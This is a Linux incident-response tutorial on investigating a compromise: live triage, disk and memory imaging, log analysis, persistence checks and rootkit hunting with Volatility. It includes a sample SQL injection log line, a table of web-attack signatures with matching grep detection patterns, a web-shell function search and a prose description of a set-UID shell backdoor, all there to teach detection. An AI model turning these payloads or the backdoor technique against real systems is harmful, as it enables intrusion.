Attack Analysis

Recommended Prerequisites (click to expand)
Intro to Bash, Grep and Loops, Introduction to Service Auditing, User Auditing - Beginner

Attack analysis is the work you do after something has gone wrong, or when you suspect it has: for example working out how an attacker got in, what they did, whether they are still there, and what you can prove. This page will walk you through that process on a Linux system, and will use tools that ship with a typical distribution, as well as a few free forensic tools for memory and disk images.

Ground rules

• Only analyze systems you own or are explicitly authorized to examine. This one is pretty self-explanatory.
• Write down what you do. Keep track of all the commands you run and the time you ran them (in UTC). Your notes are how you (or someone else, like your colleague) can later tell your activity apart from the attacker's.
• Any indicator is a lead, but not proof. A failed-login flood, an odd file in /tmp or a scanner warning each has innocent explanations. Look for several independent signs that tell the same story.
• Do not trust a compromised machine to tell the truth. If an attacker had administrator (root) access, they may have replaced the very commands you use to investigate. See Step 5.
• Understand before you delete. Removing a malicious file or killing a process is tempting, but it also destroys evidence and can leave the backdoor/persistence (a cron job, an SSH key) untouched.
• Work on copies, read-only. Whenever you can, examine an image of the disk or memory rather than the original, mount images read-only, and record a hash (for example with sha256sum) of each image when you make it so you can show later that it did not change.

The analysis loop

Most investigations follow the same rough loop. You will often go around it more than once as new findings raise new questions.

1. Preserve evidence: memory, running state and disks, before they change or disappear.
2. Find the way in: the initial access (a guessed password, a vulnerable web application, a stolen key).
3. Find what they did: commands run, files touched, accounts created, data reached, etc.
4. Find what they left behind: persistence/backdoors so they can come back.
5. Look for hiding: rootkits and log tampering.
6. Build a timeline that ties the above together, and check it for gaps.
7. Contain, clean up and harden: only once you understand the scope.

Three ways to examine a system

The same questions can be asked of a running machine, a copy of the memory of the machine, or a copy of the machines disk. Each has strengths and blind spots, and a thorough investigation will always use more than one of the following approaches.

Approach	What you get	Watch out for
Live system (typed commands, or a collection tool such as UAC)	Fast. Running processes, network connections, logged-in users, files and logs, in minutes. It is often the only practical option you have when disks are huge, or the network is slow, or there are many machines.	Every command you run changes the system, and you are relying on tools the attacker may have tampered with (for example, replacing /bin/cat with a malicous script).
Memory image	Processes (including ones hidden from normal tools), network connections, loaded kernel modules, shell command history with timestamps, and data that never reaches disk.	Only exists while the machine is on. Linux analysis needs a description ("symbols") of the exact kernel that was running, which can be hard to obtain (see below).
Disk image	Everything is stored on the disk: logs, configuration, user files, timestamps. It can only be examined read-only, so it is the safest to work with, and can be examined again and again.	There is no running state. It is also a large file. Linux disks have extra layers (LVM, RAID, encryption) to get through, and deleted files are often extremely hard to recover.

Where Linux keeps evidence

Paths differ slightly between distributions. The main split is Debian/Ubuntu versus Red Hat family (RHEL, Fedora, Rocky, Alma).

What	Where (Debian/Ubuntu)	Where (RHEL family)	What it tells you
Authentication and sudo	/var/log/auth.log	/var/log/secure	SSH logins (successful and failed), sudo and su use, new accounts
General system log	/var/log/syslog	/var/log/messages	Service starts and crashes, kernel messages, cron runs
systemd journal	journalctl	journalctl	The same events, indexed; the only source on systems without a syslog daemon
Login records	last, lastb, lastlog (read /var/log/wtmp, btmp, lastlog)	same	Who logged in, from where, and when; failed logins
Web server logs	/var/log/apache2/ or /var/log/nginx/	/var/log/httpd/ or /var/log/nginx/	Every request the web server handled (see below)
Audit framework (if installed)	/var/log/audit/audit.log	/var/log/audit/audit.log	File access, command execution and account changes, according to the rules configured
Package history	/var/log/dpkg.log, /var/log/apt/history.log	dnf history, /var/log/dnf.log	Software installed or removed, and when
Shell history	~/.bash_history (for each user)	same	Commands a user typed (can be disabled or erased, so no command history does no necessarily mean something has gone wrong)
Scheduled tasks	/etc/crontab, /etc/cron.*, /var/spool/cron/crontabs/	/etc/crontab, /etc/cron.*, /var/spool/cron/	Commands that run automatically

If /var/log/auth.log does not exist on a newer install, the system is logging to the journal only; use journalctl instead.

When you examine a mounted disk image (see below), put the mount point in front of every one of these paths, for example /mnt/data/var/log/auth.log. It is easy to read your own workstation's /var/log by accident.

Step 1: Preserve evidence

Evidence disappears in a predictable order: memory and running processes first, then temporary files, then things on disk, and finally whatever is stored somewhere the attacker cannot reach (i.e., a remote log server). Capture the most fragile evidence first, and do not reboot the machine until you have it. Where possible, write what you collect to external storage, not the compromised disk, so you do not overwrite deleted files that might matter.

Live triage and volatile state

If you have a way to capture memory (see the next section), do that first, as every command you type also changes what is in memory. If you do not, start with these:

date -u; uptime                     # record the time and how long it has been up
who -a; w                           # who is logged in right now, and doing what
ps -eo pid,ppid,user,lstart,cmd --forest   # process tree with start times
sudo ss -tunap                      # all sockets with the owning process
sudo lsof -nP -i                    # network files, a second opinion on ss

Typing commands by hand is slow and is easy to get wrong under pressure. UAC (Unix-like Artifacts Collector) is a free script that gathers the important live artifacts in a few minutes (processes and their executable paths, network connections, logged-in users, user and SSH files, logs, a list of set-UID programs, hashes of executable files, and a "body file" of all file timestamps for timelines) and saves them in one compressed archive. It can also call a memory-capture tool:

# run from the unpacked UAC directory; "ir_triage" is the quick profile, "full" adds browser and application data
sudo ./uac -p ir_triage /mnt/evidence

# same as the above, but also includes a memory dump with AVML (UAC ships a configuration for it)
sudo ./uac -a memory_dump/avml.yaml -p ir_triage /mnt/evidence

Option names and output folders change between UAC versions, so check the current documentation before an incident, not during an incident.

Reading the process list

It is important to read the process tree with the parent/child relationship in mind. On Linux the tree is mainly flat and regular, so not normal things stand out:

• A web server with a shell (sh, bash) or a download tool (curl, wget) as a child is one of the most obvious indicators of a web-application compromise, because the web server has no ordinary reason to do that. In general, background services should not spawn interactive shells.
• Programs running from the wrong place. System programs live under /usr (and third-party software under /opt or /usr/local). A program running from /tmp, /var/tmp, /dev/shm or someone's home directory should be scrutinized.
• Programs running from a deleted file. Malware can start itself and then delete its own executable, while the process keeps running. However, the file will be gone from the disk.
• Programs whose working directory is a hidden directory (a name starting with a dot, i.e. .ssh).
• Orphans. When a parent process exits, its children are adopted by the init process (PID 1, usually systemd), so an attacker's background job often shows a parent PID of 1. Many legitimate services look the same, so this is a reason to look, not a conclusion.
• Disguised names. A process can rename itself so that ps shows something like [kworker/3:3], which looks like a kernel thread. Real kernel threads are children of kthreadd (PID 2) and have no executable file.

# programs running from a file that has since been deleted (common for malware that removes itself)
sudo sh -c 'ls -l /proc/[0-9]*/exe' 2>/dev/null | grep -F '(deleted)'

# running programs whose executable is not under /usr, /opt or /snap (starting point, expect some noise)
sudo sh -c 'ls -l /proc/[0-9]*/exe' 2>/dev/null | grep -vE -- '-> /(usr|opt|snap)/'

# processes whose current directory is a hidden directory
sudo sh -c 'ls -l /proc/[0-9]*/cwd' 2>/dev/null | grep -F '/.'

# "kernel threads" that are not children of kthreadd (PID 2): probably impostors
ps -eo pid,ppid,user,cmd | awk '$4 ~ /^\[/ && $2 != 2 && $1 != 2'

# what a suspicious process (PID 4188 here) is and where it lives
sudo ls -l /proc/4188/exe /proc/4188/cwd
sudo cat /proc/4188/cmdline | tr '\0' ' '; echo

Recovering a deleted program. Because the running process still holds the file open, you can copy it out of /proc before you kill the process, and then hash it and study it (or look it up):

sudo cp /proc/4188/exe /mnt/evidence/pid4188.bin
sha256sum /mnt/evidence/pid4188.bin

Also note listening ports (sudo ss -tulpn) that you cannot account for. Attackers sometimes leave a listener behind as a back door, and some tools default to well-known ports such as 4444, though a careful attacker will pick something ordinary-looking.

Where attackers stage files

Attackers who have not (yet) gained administrator access can still write to a few places, so these are worth checking first:

• /tmp and /var/tmp: world-writable and the classic spot.
• /dev/shm: also world-writable, but it lives only in memory. Everything in it is lost at shutdown, which makes it attractive for files the attacker does not want found. Look in it before you power the machine off.
• Hidden directories (names starting with .), especially ones that imitate something legitimate. For example, /tmp/.ICE-unix is a normal directory on Linux desktops, so a similar-looking /tmp/.ICEd-unix is designed to be overlooked. Another trick is a directory named with two dots and a trailing space (.. ) placed next to the real ...

# hidden directories anywhere except /proc, /sys, root's home and users' home directories (which have legitimate ones)
sudo find / \( -path /proc -o -path /sys -o -path /root -o -path '/home/*' \) -prune -o -type d -name '.*' -print 2>/dev/null

sudo find /tmp /var/tmp /dev/shm -type f -ls

Capturing memory

Memory is the most fragile evidence and holds things that never reach disk. Historically you could copy /dev/mem with dd, but the kernel now restricts that, so you need tools.

Tool	How it works	Notes
AVML	Reads memory through /proc/kcore.	A single program you copy to the machine. Usually the easiest choice. Writes to a file.
LiME	A kernel module you build for the machine's kernel and load	Can write straight to the network. Also works on Android.

sudo ./avml /mnt/evidence/memory.lime

Writing a multi-gigabyte file onto the suspect's own disk can overwrite deleted files you might want. Write to an external or network drive if you can. AVML insists on writing a "file," so if there is nowhere to put one you can give it a named pipe (FIFO) that forwards the data over the network as it is written:

# on the analysis machine: listen and save (netcat options differ between versions; this is the traditional form)
nc -l -p 9999 > memory.lime

# on the suspect machine
mkfifo /tmp/memfifo
cat /tmp/memfifo | nc -w 1 ANALYSIS_MACHINE_IP 9999 &
sudo ./avml /tmp/memfifo

Only do this over a network you trust, as netcat does not encrypt anything. Hash the memory file when it is complete. Then check that you can actually use it, becuase Linux memory analysis often fails at the first hurdle (see the Volatility section).

Capturing a disk

How you image a disk depends on where the machine lives. It is best to be flexible as no single method fits every single case.

• Public cloud: use the provider's documented forensic procedure (usually a snapshot of the volume that you attach to an analysis instance).
• Your own hypervisor: snapshot the virtual machine. That typically gives you a memory image as well as the disk. Convert the virtual disk to a raw image if your tools need it (qemu-img convert does this).
• Physical disk: image the disk from a trusted boot environment (or through a hardware write blocker) with a forensic imager such as ewfacquire (compressed E01 files) or dc3dd (raw).

# raw image with a built-in hash and log (replace /dev/sdb with the disk being imaged)
sudo dc3dd if=/dev/sdb of=/mnt/evidence/disk.raw hash=sha256 log=/mnt/evidence/disk.log

Forensic imaging usually happens on machines that were not shut down cleanly (a clean shutdown usually alters the disk). As a result, the file systems in the image are often "dirty," which matters when you mount them (below).

Working from a disk image

Linux forensic tools generally want a raw image. Common forensic formats such as E01 must be converted or exposed as raw first. To add on to that, Linux disks are also often built in layers, and you may have to peel them back one at a time:

1. E01 container (if used): expose it as a raw disk image.
2. Partition table: find which partitions exist and where they start.
3. Encryption or software RAID (if used): unlock or assemble it. (Not covered.)
4. LVM (very common): activate the logical volumes.
5. File system: mount it read-only.

sudo mkdir -p /mnt/img /mnt/data

# E01 container -> a virtual raw file at /mnt/img/ewf1 (read-only). Skip this if you already have a raw image.
sudo ewfmount Webserver.E01 /mnt/img

# partition table to check what's inside (mmls is from The Sleuth Kit; note each partition's Start sector)
mmls /mnt/img/ewf1

# attach a read-only loopback device at a partition's start (start sector x 512 bytes)
START_SECTOR=501760
sudo losetup -rf -o $((START_SECTOR*512)) /mnt/img/ewf1
losetup -a                       # which loop device did you get? (here: /dev/loop0)
file -s /dev/loop0               # confirm what is on it (for example: LVM2 PV)

# LVM: find and activate the volume group, then list its logical volumes
sudo pvdisplay /dev/loop0        # note the "VG Name"
sudo vgscan
sudo vgchange -a y VOLUME_GROUP_NAME
sudo lvscan

# file system: mount read-only, with no program execution allowed
sudo mount -o ro,noexec,noload /dev/VOLUME_GROUP_NAME/root /mnt/data

Notes on the options:

• ro and noexec: even though the layers below are already read-only, use both anyway (it's a good habit to build), and noexec stops you from accidentally running malware from the image you are investigating (which would be really, really bad).
• noload: an image taken from a machine that was running is usually "dirty," meaning the file system's journal has unfinished changes. A plain read-only mount then fails (check dmesg | tail). noload tells the ext3/ext4 driver to ignore the journal so the mount succeeds without replaying (and thus modifying) anything. The trade-off however is that the last few changes before the capture may not be visible. XFS uses norecovery instead, and often also needs nouuid if your workstation has a file system with the same ID.
• A partition that is not part of LVM (often /boot) needs no LVM step: mount it straight from the image with mount -o ro,noexec,loop,offset=$((START_SECTOR*512)) /mnt/img/ewf1 /mnt/data/boot (add noload if it complains about the journal).

Take the layers down in reverse order when you are done:

sudo umount /mnt/data
sudo vgchange -a n VOLUME_GROUP_NAME
sudo losetup -d /dev/loop0
sudo umount /mnt/img             # the ewfmount

Traps when reading a mounted image:

• Owner names shown by ls -l come from your workstation's /etc/passwd, not the image's, so UID 1001 might display as the wrong person. Use ls -ln (numbers) or look up the IDs in the image's own /mnt/data/etc/passwd.
• Absolute symbolic links inside the image point at your own system's files, not the image's. Check with readlink instead of simply blindly trusting what a link shows you.
• Most tools can read a copy of a log directly: last -aiF -f /mnt/data/var/log/wtmp, or journalctl -D /mnt/data/var/log/journal (if the system kept a persistent journal).

Step 2: Find the way in

Remote login (SSH)

Password guessing against SSH is constant background noise on any internet-facing host. The question is not "was I attacked?" (you were, of course) but "did any guess succeed?"

# which addresses failed the most (the address is the 4th field from the end of the line)
sudo grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head

# did any of them ever get in?
sudo grep "Accepted" /var/log/auth.log

# every event involving one address, in order
sudo grep -E "Failed|Accepted" /var/log/auth.log | grep 198.51.100.7

Example output (addresses here are from the reserved documentation ranges, not real hosts):

Sep 10 13:58:01 web sshd[911]: Failed password for root from 198.51.100.7 port 51522 ssh2
Sep 10 13:58:03 web sshd[911]: Failed password for invalid user admin from 198.51.100.7 port 51530 ssh2
Sep 10 13:58:09 web sshd[917]: Failed password for root from 198.51.100.7 port 51544 ssh2
Sep 10 13:59:40 web sshd[930]: Accepted password for deploy from 198.51.100.7 port 51601 ssh2

The pattern to worry about is many failures, then a success, from the same address, especially for an account that should never log in from that place. Confirm with the login records:

last -aiF | head -20               # recent logins with full timestamps and source IPs
sudo lastb -aiF | head -20         # recent failed logins
lastlog | grep -v "Never logged in"
journalctl -u ssh --since "2026-09-10" -g "Accepted"   # the unit is "sshd" on RHEL-family systems

Be aware that these records are easy to lose: wtmp is often rotated (truncated) weekly or monthly, btmp may not be kept at all because failed logins can contain mistyped passwords, and lastlog's format varies between systems.

Success by public key leaves a different line (Accepted publickey for ...). If you see one for a key you do not recognize, go straight to persistence and check authorized_keys.

Web applications

Web server access logs record one line per request. In the common "combined" format the fields are: client address, timestamp, request line, status code, response size in bytes, referrer and User-Agent.

198.51.100.9 - - [10/Sep/2026:14:03:01 +0000] "GET /item.php?id=1%27%20UNION%20SELECT%20user,pass%20FROM%20users--%20- HTTP/1.1" 500 1024 "-" "sqlmap/1.7"

Start with an overview, and then zoom in on one address:

LOG=/var/log/apache2/access.log     # /var/log/nginx/access.log, or /var/log/httpd/access_log

awk '{print $1}' $LOG | sort | uniq -c | sort -nr | head     # busiest clients
awk '{print $9}' $LOG | sort | uniq -c | sort -nr            # status code counts
grep '^198.51.100.9 ' $LOG                                   # everything one client did

Attackers usually send their payload URL-encoded (%27 is ', %20 is a space). Decode the lines you are reading:

grep '^198.51.100.9 ' $LOG | python3 -c 'import sys,urllib.parse as u; [print(u.unquote(l),end="") for l in sys.stdin]'

(A plain + in a query string can also mean a space; unquote leaves it alone so timestamps such as +0000 stay readable.)

What common web attacks look like in the log

Attack	What to look for in the request	Notes
SQL injection	' or %27, UNION SELECT, OR 1=1, --, or an automated-tool User-Agent such as sqlmap	A burst of 500 errors from one client while it probes is typical. A later run of 200 responses with unusually large sizes can mean data came back.
Cross-site scripting (XSS)	<script> or %3Cscript, onerror=, javascript:	Reflected XSS shows in the URL. Stored XSS is usually submitted in a POST body, which is not logged (see below).
Path traversal / file inclusion	../, ..%2f, %2e%2e, or a path like /etc/passwd in a parameter	A 200 with a plausible response size means the file may have been returned.
Command injection	Shell metacharacters (;, %3B, backticks, $() followed by commands like wget, curl or /bin/sh	Confirm with the process tree: did the web server user spawn anything?
Shellshock (CVE-2014-6271)	() { at the start of a header value, usually User-Agent, against a /cgi-bin/ script	Old and long patched, but a good example: the attack rides in a header, not the URL.
Web shell upload	A POST to an upload form, then GET requests to a brand-new .php file in the upload directory	Look for files the application should not have created.
Scanning and reconnaissance	Many 404s, requests for /.env, /wp-login.php, /phpmyadmin, or scanner User-Agents	Common and usually harmless on its own; it tells you who was looking, not who got in.

# starting-point searches (expect some false positives; refine them as much as you can before you start trustung their results)
grep -iE "union.{1,10}select|sqlmap|%27" $LOG            # SQL injection
grep -iE "<script|%3Cscript|onerror=" $LOG               # XSS
grep -E "\.\./|%2e%2e|/etc/passwd" $LOG                   # path traversal
grep -E '\(\) *\{' $LOG                                   # Shellshock-style header

Important limits of access logs. The server does not log POST bodies or, by default, most headers other than User-Agent and Referer. An injection sent by POST leaves only a bare POST /login line. To see those attacks you need application logs, database query logs, or a web application firewall (for example ModSecurity) that records rejected requests. Also, a 200 status only means the request was served, not that the attack worked, and a 500 does not mean it failed.

From a request to a compromise

A logged attack request proves that someone tried to attack. To decide whether it worked, follow it into the rest of the system:

• Did a process appear in the tree, owned by the web server user (www-data, apache, nginx), just after the request timestamp?
• Is that process holding a network connection to an address that is not one of your users or dependencies?
• Are there new or modified files in the web root, /tmp, /var/tmp or /dev/shm from about the same time?
• Did the same client address go on to do anything else (a second request type, a login)?

# files in the web root changed in the last 2 days
sudo find /var/www -type f -mtime -2 -ls

# PHP files that call functions commonly used by web shells (often noisy)
sudo grep -RIlE "(eval|assert|system|passthru|shell_exec|proc_open)[[:space:]]*\(" /var/www --include=*.php

Step 3: What did they do?

Privilege escalation and account activity

sudo grep -E "sudo:|su\[|su:" /var/log/auth.log | grep -E "COMMAND=|session opened"   # who ran what as root
sudo grep -E "useradd|usermod|groupadd|passwd\[" /var/log/auth.log                     # account changes
awk -F: '$3==0 {print $1}' /etc/passwd            # accounts with UID 0 should be only "root"
sudo awk -F: '$2=="" {print $1}' /etc/shadow      # accounts with an empty password
grep -vE '(nologin|false)$' /etc/passwd           # accounts that can log in interactively
ls -l /etc/sudoers.d/; sudo grep -rvE '^\s*(#|$)' /etc/sudoers /etc/sudoers.d/

A second UID-0 account, or a regular user suddenly present in sudoers, is a strong indicator. Attackers who want to blend in often reuse existing accounts rather than create obvious new ones, so also check that service accounts (such as www-data or mysql) still have a non-login shell and no usable password hash in /etc/shadow, and that nobody has been quietly added to a privileged group in /etc/group.

Command history

sudo sh -c 'ls -l /root/.bash_history /home/*/.bash_history'   # empty? a symlink to /dev/null? recently truncated?
sudo sh -c 'cat /root/.bash_history /home/*/.bash_history'

What to keep in mind about .bash_history:

• Bash writes history when a shell exits, so a session that is still open, or that was killed, may not be recorded yet. On a live system the missing commands are only in memory (see the bash plugin in the Volatility section).
• It has no timestamps by default (unless HISTTIMEFORMAT was set). To date a command, match it with other evidence:a log line, a file's timestamp, or a process start time. For example, a useradd in the history can be tied to the log entry for the new account and the modification time of /etc/passwd.
• It is a plain text file. Attackers can edit or delete it, clear it (history -c), unset HISTFILE, or link it to /dev/null. Older copies sometimes survive in the disk's unallocated space, so searching a disk image for typical command strings can recover deleted history.
• An empty or missing history on an account that is otherwise active is itself worth noting.

Other traces users leave behind

Interactive use of a Linux system leaves small traces in the user's home directory. Individually minor, they often fill in the story:

File (in the user's home directory)	What it can show
.ssh/authorized_keys	Keys that can log in to this account. Any key you do not recognize is a possible back door.
.ssh/known_hosts	Machines this user connected out to over SSH. It shows an SSH connection was made, not that the login succeeded. Entries can be hashed, hiding the addresses.
.ssh/config	Shortcuts, user names and jump hosts the user set up, which can reveal other systems they reach.
.lesshst	Search terms typed into the less pager, and commands run from inside it.
.viminfo	Files recently edited in vim (with the position in each), plus its search and command history.
.local/share/recently-used.xbel	Files opened through the desktop file manager, with timestamps (only on systems with a desktop).
.local/share/Trash/	Files deleted through the desktop; the info/ folder records where each came from.
Browser profiles (Firefox, Chromium)	Browsing, downloads and saved sessions on desktop systems.

The audit framework

If auditd is installed and configured, it is the best source for "who ran what." For example, with a rule that watches account files:

# in /etc/audit/rules.d/identity.rules
-w /etc/passwd -p wa -k identity
-w /etc/shadow -p wa -k identity

# later, when investigating
sudo ausearch -k identity -i         # events that matched the rule, human-readable
sudo aureport -au                    # authentication summary

# the same tools can read logs copied off a machine or mounted from an image
sudo ausearch --if /mnt/data/var/log/audit -i -c useradd

If keystroke (TTY) auditing was enabled, aureport --tty can show what was typed. Auditing has to be set up before the incident; it cannot reconstruct events that were never recorded.

Step 4: Persistence

Attackers who got in once want to be able to get back in. Some do not bother (opportunistic cryptocurrency miners are sometimes dropped with no persistence at all), but many do. Check every place a program can be made to start again on its own:

# scheduled tasks
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily
sudo ls -la /var/spool/cron/crontabs/          # /var/spool/cron/ on RHEL family
sudo ls -la /var/spool/cron/atjobs/ 2>/dev/null   # one-time "at" jobs (Debian/Ubuntu)
systemctl list-timers --all

# services and units
systemctl list-unit-files --state=enabled
sudo find /etc/systemd /usr/lib/systemd -type f -newermt "2026-09-01"
ls -la ~/.config/systemd/user 2>/dev/null

# SSH keys (any key listed here can log in as that user with no password)
sudo find / -xdev -name authorized_keys -exec ls -l {} \;
sudo sh -c 'cat /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys' 2>/dev/null

# shell start-up files that run at every login
ls -la /etc/profile.d/ ~/.bashrc ~/.profile /root/.bashrc

# programs injected into every process (normally this file is absent or empty)
cat /etc/ld.so.preload 2>/dev/null

Older systems use init scripts under /etc/init* instead of (or as well as) systemd. And remember that an attacker who wants to be less obvious may leave the cron entry or service unit alone and instead modify a script that a legitimate task already runs. Look at what your scheduled tasks and services actually execute, not only at their configuration.

Back doors beyond start-up entries: a web shell in the web root; a replacement sshd with a built-in password; an extra UID 0 account; a service account given a password; an added authorized_keys line; a broadened sudoers entry; and the set-UID trick below.

Set-UID/set-GID programs. A program with the set-UID bit runs with its owner's privileges rather than the user's (this is how passwd can update /etc/shadow). An attacker with root can copy a shell, turn on the set-UID bit and leave it somewhere quiet; anyone who can run it (with -p, so it does not drop its privileges) is root again.

# set-UID / set-GID programs anywhere outside /usr (there should be very few)
sudo find / \( -path /proc -o -path /sys \) -prune -o -type f \( -perm -4000 -o -perm -2000 \) ! -path '/usr/*' -ls 2>/dev/null

# the full list of set-UID programs
sudo find / -xdev -perm -4000 -type f 2>/dev/null

Compare the full list against a clean machine of the same OS, the same baseline-and-diff technique used on Intermediate Service Auditing. Also revisit where attackers stage files: names that imitate system files but sit in the wrong place, executables in /tmp, /var/tmp or /dev/shm, and dot-prefixed directories under /usr, /var or /dev are all worth a closer look.

A post-exploitation checklist

Check	How
New or unexpected SSH keys	Read every authorized_keys. If you find one, search your other machines for the same key.
Unexpected group members	Compare /etc/group against what you expect, especially groups named in sudoers.
Unlocked service accounts	Service accounts should have nologin (or false) as their shell and no valid password hash in /etc/shadow.
Extra UID 0 accounts	awk -F: '$3==0' /etc/passwd
Edited sudo rules	Read /etc/sudoers and /etc/sudoers.d/ directly.
Unauthorized set-UID bits	The find commands above.

Step 5: Rootkits and tampering

A rootkit is malware built to hide itself and the attacker's other activity. Two kinds are common on Linux:

• User-space (library preload) rootkits install a malicious shared library and make every program load it (through /etc/ld.so.preload or the LD_PRELOAD variable), so that ls, ps, ss and friends quietly leave out the attacker's files, processes and connections. Older rootkits simply replaced those programs.
• Kernel-module (LKM) rootkits load a malicious kernel module that intercepts system calls (for example the ones that list directories or send signals) and can hide from the operating system itself. Older families such as t0rn hid their files in look-alike, dot-prefixed directories (for example under /usr/src) and included a helper that scrubbed matching lines from log files, but the ideas are the same today.

Signs something is being hidden

• Basic tools misbehave, disagree with each other, or stop working (ls or ps failing on an otherwise healthy system).
• A listening port shows in a port scan from another machine but not in ss on the host.
• Disk usage that does not add up, or CPU usage with no process to explain it.
• Logs with unexplained gaps, zero-length files (/var/log/wtmp, btmp) or timestamps that jump backwards.
• A "tainted" kernel: cat /proc/sys/kernel/tainted is non-zero. Legitimate causes exist (proprietary or out-of-tree drivers), so treat it as a reason to ask "which module?", it is not necessarily a verdict.

Detection tools

sudo apt install rkhunter chkrootkit       # or dnf install on RHEL-family (EPEL)
sudo rkhunter --check --sk --rwo           # run all checks; skip keypress prompts; report warnings only
sudo chkrootkit

rkhunter and chkrootkit compare the system against known signatures and known-bad file locations and look for suspicious changes. Findings are logged (for rkhunter, in /var/log/rkhunter.log). They are a quick extra check, however they are not the main method. Treat their output as leads from which to begin searches:

• They are signature-based: they recognize rootkits they already know about, so a clean report says little about new or custom tools (false negatives), and a warning does not prove a rootkit (false positives). chkrootkit in particular sees little development, and many investigators no longer rely on it.
• They run on the suspect system. Against a kernel-level rootkit, the tool is being lied to as well. Where it matters, examine the disk from trusted boot media or a copy of the disk image, and analyze memory from outside the machine (see Volatility).
• rkhunter is much more useful if you run sudo rkhunter --propupd on a known-clean system first, so later runs can detect changed files.

Verify installed files against the package manager

sudo apt install debsums && sudo debsums -c      # Debian/Ubuntu: list installed files whose checksum changed
sudo rpm -Va                                      # RHEL family: verify all packages

A modified /bin/ls, /usr/bin/ps or sshd that does not match its package is a serious finding. (Configuration files legitimately differ, and a determined attacker can also tamper with the package database, so this is one more piece of evidence, not proof.)

Cross-checking tools against each other

Because a rootkit typically fools some tools but not others, disagreement is informative:

echo /usr/src/.*                  # the shell's own glob expansion; does it show entries ls hides?
ls /proc | grep -E '^[0-9]+$' | wc -l ; ps -e --no-headers | wc -l     # process count via /proc vs via ps
sudo apt install unhide && sudo unhide proc                             # look for processes hidden from ps
lsmod                                                                     # compare to a known-good machine's module list

A statically linked tool (such as busybox, if installed) does not load shared libraries, so it is not fooled by a library-preload rootkit. Kernel-module rootkits are much harder to catch from inside the running system, which is why memory analysis is the stronger method.

Log tampering

ls -la /var/log                    # any log suddenly tiny, empty, or not modified when it should be?
journalctl --verify                # consistency check of the journal files

The best defense is a copy of the logs the attacker cannot reach: forward them to a remote log server (for example with rsyslog) so that deleting local lines does not delete the record.

Going deeper: memory analysis with Volatility 3

Why bother with memory? It is smaller than the disk (64 GB of RAM is far easier to collect and store than 2 TB of disk) and holds things a disk image does not: every running process (including hidden ones), network connections, the shell history of open sessions, loaded kernel modules, cached file contents, and sometimes encryption keys.

Volatility 3 is the standard open-source framework for analyzing memory images. Its Linux support has one big obstacle.

The symbols problem

Volatility must know how the exact kernel that produced the image lays out its data in memory. That description is called a "symbol table" (or profile). Windows and macOS have few kernel versions, so ready-made ones exist. Linux has thousands of combinations (each distribution, each kernel update, each vendor's build options), and you may need a different symbol file for every machine in an investigation.

Making one requires the kernel built with debugging symbols: a "debug" kernel package for the exact version (named with -dbg or -dbgsym depending on the distribution), which is large (gigabytes) and not always available (some distributions do not publish them, and end-of-life systems may have lost them). The Volatility documentation itself states that it may not be possible to find the right symbols for a Linux image. A community-maintained collection of ready-made symbol files exists (see the symbol tables documentation), so check it before building your own.

# 1. What kernel was running? (a banner is stored in memory)
vol -f memory.lime banners.Banners
strings -a memory.lime | grep PRETTY_NAME=            # the distribution name, too

# 2. If you have the matching debug kernel (a large "vmlinux" file, hundreds of MB; a normal one is under ~10 MB)
sudo find / -name 'vmlinu*' -size +100M 2>/dev/null
file /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64      # look for "with debug_info, not stripped"

# 3. Convert it into a symbol file and place it where Volatility looks
dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64 > vmlinux-5.10.0-21-amd64.json
cp vmlinux-5.10.0-21-amd64.json /path/to/volatility3/symbols/linux/

If the debug kernel is present on the machine you are analyzing, you are very lucky. The command name (vol, vol.py or vol3.py) depends on how it was installed, and you can keep symbol files with the image by pointing Volatility at the current directory with -s ..

The plugins you will use most

Plugin names and output change between versions. List the current ones with vol --help | grep linux.. A good first test is linux.pslist.PsList: it is fast, and if it produces sensible output your image and symbols are working.

Plugin	What it answers
linux.pslist.PsList	What processes exist (PID, parent PID, name)?
linux.psaux.PsAux	The same, with each process's full command line.
linux.pstree.PsTree	The parent/child tree, useful for "how was this started?"
linux.lsof.Lsof	Which files does a process have open (add --pid to pick one)? Reveals executables and data in strange places.
linux.elfs.Elfs and linux.proc.Maps	Which executable and libraries a process loaded, and its memory segments (where injected code can appear).
linux.sockstat.Sockstat	Network connections and listeners (filter with grep AF_INET to skip the noisy local sockets).
linux.bash.Bash	Command history recovered from running shells, with timestamps.
linux.lsmod.Lsmod	Loaded kernel modules (the ones that are not hidden).

The bash plugin is often more valuable than the history file on disk, for two reasons: history in memory includes the current session's commands that have not been saved yet, and each command has a timestamp. When a shell starts, it loads the saved history, so the first block of lines all share the shell's start time; the lines after them, with different times, are what was typed in that session.

Hunting for rootkits in memory

vol -s . -f memory.lime linux.check_modules.Check_modules    # kernel modules hidden from the normal module lists
vol -s . -f memory.lime linux.check_syscall.Check_syscall    # system calls whose handlers have been replaced (hooks)
vol -s . -f memory.lime linux.check_creds.Check_creds        # processes sharing credentials, a sign of credential tampering

• Check_modules compares the several lists the kernel keeps of loaded modules and reports modules missing from some of them, the fingerprint of a module hiding itself. Expect the occasional false positive (for example a legitimate virtualization driver), so investigate everything. A rootkit that does not hide, instead using an ordinary name, is caught by comparing Lsmod output with a known-good machine.
• Check_syscall shows the system-call table. Depending on the version, it may not flag hooked entries directly, so a practical trick is to run it on a memory image from a clean machine of the same kernel and compare the two lists: anything present in one but not the other stands out. In one published example (a memory image infected with a known Linux rootkit), the entries that differed were for listing directories (which lets a rootkit hide files, and, because Linux exposes processes as files under /proc, hide processes too) and for sending signals.
• Other plugins (for example Check_afinfo, Check_idt, Keyboard_notifiers, Tty_check) look for network-structure tampering and keylogger techniques.

After that use YARA rules built from indicators you already have (the YaraScan plugin, or YARA directly), look at the bash history for the commands used to install the rootkit, and search the image with strings.

No symbol file? Quick triage instead

Even without Volatility working, a memory image can be mined. strings pulls out readable text, and bulk_extractor finds and tallies URLs, addresses, e-mail addresses and domains, and extracts any network packets it finds.

strings -a memory.lime | gzip > memory.strings.gz    # keep for context searches
bulk_extractor -o be-out memory.lime                 # the output folder must not already exist

head be-out/url_histogram.txt                         # start with the histograms: common URLs, IPs, domains
head be-out/ip_histogram.txt

# who was talking to whom, from packet fragments bulk_extractor recovered
tshark -n -r be-out/packets.pcap -Tfields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport | sort | uniq -c | sort -nr | head

